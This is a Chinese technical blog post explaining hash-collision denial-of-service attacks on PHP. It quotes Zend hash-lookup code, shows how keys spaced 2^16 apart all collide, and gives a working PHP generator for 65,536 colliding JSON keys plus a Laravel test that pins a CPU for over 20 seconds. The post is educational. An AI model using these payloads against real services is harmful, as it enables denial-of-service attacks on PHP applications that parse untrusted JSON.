PHP Hash Collision攻击原理

之前介绍了所有语言通用的Hash Collision攻击原理 一种高级的DoS攻击-Hash碰撞攻击 ,介绍的比较宽泛。因为Java相关的Hash Collision文章比较少,所以最先写了Java的攻击原理 Java Hash Collision之数据生产

网上关于PHP Hash Collision的文章特别多,得益于很多年前鸟哥的一篇文章 PHP数组的Hash冲突实例,因为这篇文章让行业内的PHPer们都愿意花时间去了解。

哈希表是一种查找效率极高的数据结构,PHP中的哈希表用于表示Array数据类型,在Zend虚拟机内部也用于存储上下文环境信息(执行上下文的变量及函数均使用哈希表结构存储)。

理想情况下哈希表插入和查找操作的时间复杂度均为O(1),任何一个数据项可以在一个与哈希表长度无关的时间内计算出一个哈希值(key),然后在常量时间内定位到一个桶(术语bucket,表示哈希表中的一个位置)。当然这是理想情况下,因为任何哈希表的长度都是有限的,所以一定存在不同的数据项具有相同哈希值的情况,此时不同数据项被定为到同一个桶,称为碰撞(collision)。哈希表的实现需要解决碰撞问题,碰撞解决大体有两种思路,第一种是根据某种原则将被碰撞数据定为到其它桶,例如线性探测——如果数据在插入时发生了碰撞,则顺序查找这个桶后面的桶,将其放入第一个没有被使用的桶;第二种策略是每个桶不是一个只能容纳单个数据项的位置,而是一个可容纳多个数据的数据结构(例如链表或红黑树),所有碰撞的数据以某种数据结构的形式组织起来。

不论使用了哪种碰撞解决策略,都导致插入和查找操作的时间复杂度不再是O(1)。以查找为例,不能通过key定位到桶就结束,必须还要比较原始key(即未做哈希之前的key)是否相等,如果不相等,则要使用与插入相同的算法继续查找,直到找到匹配的值或确认数据不在哈希表中。

PHP是使用单链表存储碰撞的数据,因此实际上PHP哈希表的平均查找复杂度为O(L),其中L为桶链表的平均长度;而最坏复杂度为O(N),此时所有数据全部碰撞,哈希表退化成单链表。哈希表结构如下图

Hash Collition

Hash Function也叫哈希散列函数,通过散列函数我们能将各种类型的key转换为有限空间内的一个内存地址。常见的散列函数有MD5,SHA。不过HashTable中基本不会用MD5,SHA算法,因为这两类算法太耗时,基本所有的编程语言都会选择Times*类型算法,比如Times31,times33,times37。Java使用的Hash算法为Times31,PHP使用的Hash算法为times33……

一. PHP Hash function实现

PHP HashTable的哈希算法如下:

hash(key)=key & nTableMask

即简单将数据的原始key与HashTable的nTableMask进行按位与即可。如果原始key为字符串,则首先使用Times33算法将字符串转为整形再与nTableMask按位与。

hash(strkey)=time33(strkey) & nTableMask

下面是Zend源码中查找哈希表的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
ZEND_API int zend_hash_index_find(const HashTable *ht, ulong h, void **pData)
{
uint nIndex;
Bucket *p;

IS_CONSISTENT(ht);
//获取索引
nIndex = h & ht->nTableMask;

p = ht->arBuckets[nIndex];
while (p != NULL) {
if ((p->h == h) && (p->nKeyLength == 0)) {
*pData = p->pData;
return SUCCESS;
}
p = p->pNext;
}
return FAILURE;
}
//用于查找字符串key
ZEND_API int zend_hash_find(const HashTable *ht, const char *arKey, uint nKeyLength, void **pData)
{
ulong h;
uint nIndex;
Bucket *p;

IS_CONSISTENT(ht);

h = zend_inline_hash_func(arKey, nKeyLength);
//获取索引
nIndex = h & ht->nTableMask;

p = ht->arBuckets[nIndex];
while (p != NULL) {
if ((p->h == h) && (p->nKeyLength == nKeyLength)) {
if (!memcmp(p->arKey, arKey, nKeyLength)) {
*pData = p->pData;
return SUCCESS;
}
}
p = p->pNext;
}
return FAILURE;
}

二. 通过PHP zend_hash_index_find函数实现逆推

知道了PHP内部哈希表的算法,就可以利用其原理构造用于攻击的数据。一种最简单的方法是利用掩码规律制造碰撞。上文提到Zend HashTable的长度nTableSize会被圆整为2的整数次幂,假设我们构造一个2^16的哈希表,则nTableSize的二进制表示为:1 0000 0000 0000 0000,而nTableMask = nTableSize – 1为:0 1111 1111 1111 1111。接下来,可以以0为初始值,以2^16为步长,制造足够多的数据,可以得到如下推测:

0000 0000 0000 0000 0000 & 0 1111 1111 1111 1111 = 0

0001 0000 0000 0000 0000 & 0 1111 1111 1111 1111 = 0

0010 0000 0000 0000 0000 & 0 1111 1111 1111 1111 = 0

0011 0000 0000 0000 0000 & 0 1111 1111 1111 1111 = 0

0100 0000 0000 0000 0000 & 0 1111 1111 1111 1111 = 0

……

概况来说只要保证后16位均为0,则与掩码位于后得到的哈希值全部碰撞在位置0。

三. 通过脚本批量产出碰撞数据

如上我们已经推算出碰撞数据的实现方式,接下来我通过PHP生成碰撞数据。如果要生成大量的碰撞数据,这里最好不要使用PHP来生成,因为操作不当就会变成攻击自己的脚本。

1
2
3
4
5
6
7
8
9
10
11
$size = pow(2, 16); // 16 is just an example, could also be 15 or 17
$maxKey = ($size - 1) * $size;
$startTime = microtime(true);
$array = [];
for ($key = 0; $key <= $maxKey; $key += $size) {
$array[$key] = 0;
}
file_put_contents("t.log",json_encode($array));
$endTime = microtime(true);

echo 'Inserting ', $size, ' evil elements took ', $endTime - $startTime, ' seconds', "n";

最后我们生成了如下数据(截取了前面几条):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
{
"0":0,
"65536":0,
"131072":0,
"196608":0,
"262144":0,
"327680":0,
"393216":0,
"458752":0,
"524288":0,
"589824":0,
"655360":0,
"720896":0
}

四. 在PHP中测试碰撞数据

通过程序我们生成了65536条碰撞数据,然后在Laravel中做个简单的测试,测试代码如下:

1
2
3
4
5
6
7
8
9
10
public function posts(){

$startTime = microtime(true);
//获取http body中的数据
$rest = $this->request->getContent();
json_decode($rest,true);
$endTime = microtime(true);

echo ' evil elements took ', $endTime - $startTime, ' seconds', "n";
}

测试结果,一个CPU被打到100%,持续了20多秒。结束该php-fpm进程后恢复。